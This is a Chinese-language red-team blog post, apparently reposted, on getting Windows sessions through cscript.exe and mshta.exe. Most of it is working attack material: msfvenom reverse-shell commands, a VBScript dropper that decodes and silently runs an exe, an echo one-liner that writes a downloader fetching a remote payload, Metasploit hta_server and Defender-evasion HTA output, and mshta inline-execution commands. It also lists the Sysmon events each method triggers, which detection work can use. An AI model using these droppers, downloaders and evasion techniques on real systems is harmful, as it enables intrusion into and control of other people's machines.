在Windows上执行恶意代码 by cscript&mshta

Windows自带的可执行文件+合理构造的payload脚本=获得会话

cscript

简介
cscript.exe来寻找和连接脚本的运行库,最常见的有VBScriptJavaScript

WSH环境包括两个脚本宿主:基于控制台的CScript和基于GUI的WScript。这两个脚本宿主提供几乎相同的功能,在大多数情况下,使用哪个脚本宿主来运行脚本并不重要。
两个例外在于您如何与脚本交互; 也就是说,如何将信息输入脚本(输入)以及脚本如何显示已检索的信息(输出)。通常,CScript从命令提示符接收输入并在命令窗口中显示输出。相比之下,WScript通过图形对话框接收输入,并在图形消息框中显示输出

实践
生成payload msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.138.142 LPORT=4444 -f vbs -o ./1.vbs,查看下生成的内容(限于篇幅略去,有个很长的字符串就是payload.exe

有人翻译了一下,得到如下结果

shellcode = WScript.Arguments.Item(0)
strXML = "" & shellcode & ""
Set oXMLDoc = CreateObject("MSXML2.DOMDocument.3.0")
oXMLDoc.LoadXML(strXML) decode = oXMLDoc.selectsinglenode("B64DECODE").nodeTypedValue
set oXMLDoc = nothing
 Dim fso
Set fso = CreateObject("Scripting.FileSystemObject")
Dim tempdir
Dim basedir
Set tempdir = fso.GetSpecialFolder(2)
basedir = tempdir & "\" & fso.GetTempName()
fso.CreateFolder(basedir)
tempexe = basedir & "\" & "test.exe"
Dim adodbstream
Set adodbstream = CreateObject("ADODB.Stream")
adodbstream.Type = 1
adodbstream.Open
adodbstream.Write decode
adodbstream.SaveToFile tempexe, 2
Dim wshell
Set wshell = CreateObject("Wscript.Shell")
wshell.run tempexe, 0, true
fso.DeleteFile(tempexe)
fso.DeleteFolder(basedir)

直接用echo的方式用一行命令往目标机上写入vbs文件,用^作为转义符。但是因为shellcode字符串太长了,cmd缓冲区不够用,于是改用MSXML2.XMLHTTP发起http请求获取远端payload.exe后再执行。

echo strFileURL = WScript.Arguments.Item(0):Set objXMLHTTP = CreateObject(^"MSXML2.XMLHTTP^"):objXMLHTTP.open ^"GET^", strFileURL, false:objXMLHTTP.send():shellcode = objXMLHTTP.responseText:strXML = ^"^^" ^& shellcode ^& ^"^<^/B64DECODE^>^":Set oXMLDoc = CreateObject(^"MSXML2.DOMDocument.3.0^"):oXMLDoc.LoadXML(strXML):decode = oXMLDoc.selectsinglenode(^"B64DECODE^").nodeTypedValue:set oXMLDoc = nothing:Dim fso:Set fso = CreateObject(^"Scripting.FileSystemObject^"):Dim tempdir:Dim basedir:Set tempdir = fso.GetSpecialFolder(2):basedir = tempdir ^& ^"\^" ^& fso.GetTempName():fso.CreateFolder(basedir):tempexe = basedir ^& ^"\^" ^& ^"test.exe^":Dim adodbstream:Set adodbstream = CreateObject(^"ADODB.Stream^"):adodbstream.Type = 1:adodbstream.Open:adodbstream.Write decode:adodbstream.SaveToFile tempexe, 2:Dim wshell:Set wshell = CreateObject(^"Wscript.Shell^"):wshell.run tempexe, 0, true:fso.DeleteFile(tempexe):fso.DeleteFolder(basedir):Set fso = Nothing > %TEMP%\msf.vbs

注意:直接用cscript msf.vbs http://192.168.138.142/1.txt执行后cmd会卡住。

这样执行就不会 START /B cscript.exe //Nologo %temp%\msf.vbs http://192.168.138.142/1.txt

sysmon日志

  1. 执行cscript.exe命令触发1号事件,
  2. 经由cscript.exe生成并执行的payload.exe也会触发1号事件,
  3. 而且记录了父进程的命令行 ParentCommandLine: cscript.exe //Nologo C:\Users\ADMINI~1\AppData\Local\Temp\2\msf.vbs http://192.168.138.142/1.txt

将exe文件转化成字符串,通过脚本还原成exe后,再用Wscript.Shell组件执行exe。

mshta

简介

mshta.exe,HTML Application HOST,HTML应用程序主机,hta文件解释器(也能解释html),就如同IE是html的解释器,CMD是批处理文件的解释器,WScript.exe、CScript.exe是vbs/js脚本的解释器。
由于hta被设计用于本地运行,所以权限比html高。用mshta打开html也比用IE打开能获得更高的权限。所以本机上的HTML文件中如果调用WScript.Shell等本地对象,用IE打开会出现安全警告(提示有“活动内容”什么的),用mshta打开一般就不会有任何提示和警告了。

方法一 hta_server

hta_server 顾名思义,不过只能用powershell来执行,对XP/Win2003不是很友好。

msf5 exploit(windows/misc/hta_server) > show targets 
Exploit targets:
   Id  Name
   --  ----
   0   Powershell x86
   1   Powershell x64
msf5 exploit(windows/misc/hta_server) > 
[*] Local IP: http://192.168.138.142:8080/FJw7zBrAteAzpZ.hta
[*] Server started.
[*] 192.168.138.141  hta_server - Delivering Payload
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (179808 bytes) to 192.168.138.141
[*] Meterpreter session 1 opened (192.168.138.142:4444 -> 192.168.138.141:49187) at 2019-02-27 16:13:10 +0800

直接在windows上执行mshta http://evil.hta即可获得会话。

生成的hta跟msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.138.142 lport=4444 -f hta-psh > abc.hta结构一致。

sysmon日志

  1. 执行mshta.exe触发1号事件,
  2. 通过mshta访问远程evil.hta触发3号事件,
  3. 本地会缓存evil.hta触发11号事件(缓存地址同IE浏览器,位置C:\Users\Administrator\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\),
  4. 执行evil.hta后派生的powershell进程又会触发1号事件。

方法二 windows_defender_js_hta

windows_defender_js_hta 生成免杀的hta,然后放到apache目录下。执行方式同上。

evasion(windows/windows_defender_js_hta)
Basic options:
  Name      Current Setting  Required  Description
  ----      ---------------  --------  -----------
  FILENAME  KYr.hta          yes       Filename for the evasive file (default: random)

Description:
  This module will generate an HTA file that writes and compiles a 
  JScript.NET file containing shellcode on the target machine. After 
  compilation, the generated EXE will execute the shellcode without 
  interference from Windows Defender. It is recommended that you use a 
  payload that uses RC4 or HTTPS for best experience.

因为是先把payload代码编译成可执行文件,然后再执行payload.exe,从执行命令到获得会话会有一定的延迟。然而获得的会话也是个残废(功能不全)。

sysmon日志

  1. 在缓存evil.hta文件之后,
  2. 多生成了一个evil.js文件,
  3. jsc.exeevil.js编译成可执行文件 CommandLine: "C:\Windows\Microsoft.NET\Framework\v2.0.50727\jsc.exe" /out:C:\Users\ADMINI~1\AppData\Local\Temp\2\\gzfEQK.exe /platform:x64 /t:winexe C:\Users\ADMINI~1\AppData\Local\Temp\2\\gzfEQK.js
  4. cvtres.exe是编译过程中的一步, C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:AMD64 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\2\RESEDEF.tmp" "C:\Users\Administrator\AppData\Local\Temp\2\RESECF5.tmp"
  5. 执行gzfEQK.exe ,获得半残会话。

方法三

mshta是用来执行hta文件的,经过测试发现,其实没有hta文件,也可以通过mshta来执行命令的。

  • mshta vbscript:CreateObject("Wscript.Shell").Run("calc.exe",0,true)(window.close)
  • mshta javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WScript.Shell").run("calc.exe",0,true);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im mshta.exe",0,true);}

用这个来获取会话有点不太现实

其他远程evil.hta构造模板

用msfvenom生成想要执行的恶意代码,再嵌入到构造好hta文件中加以执行。

Bootstrap in an HTML Application
MSBuild “Not Powershell” HTML Application
HTA Shellcode Launcher (CACTUSTORCH)
HTA Shellcode Launcher (GreatSCT)

比如GreatSCT,mshta执行只是其中的一个功能

===============================================================================
                                   Great Scott!
===============================================================================
      [Web]: https://github.com/GreatSCT/GreatSCT | [Twitter]: @ConsciousHacker
===============================================================================

 [*] Language: installutil
 [*] Payload Module: installutil/meterpreter/rev_tcp
 [*] Executable written to: /usr/share/greatsct-output/compiled/payload.exe
 [*] Source code written to: /usr/share/greatsct-output/source/payload.cs
 [*] Execute with: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false payload.exe
 [*] Metasploit RC file written to: /usr/share/greatsct-output/handlers/payload.rc

你可能感兴趣的:(在Windows上执行恶意代码 by cscript&mshta)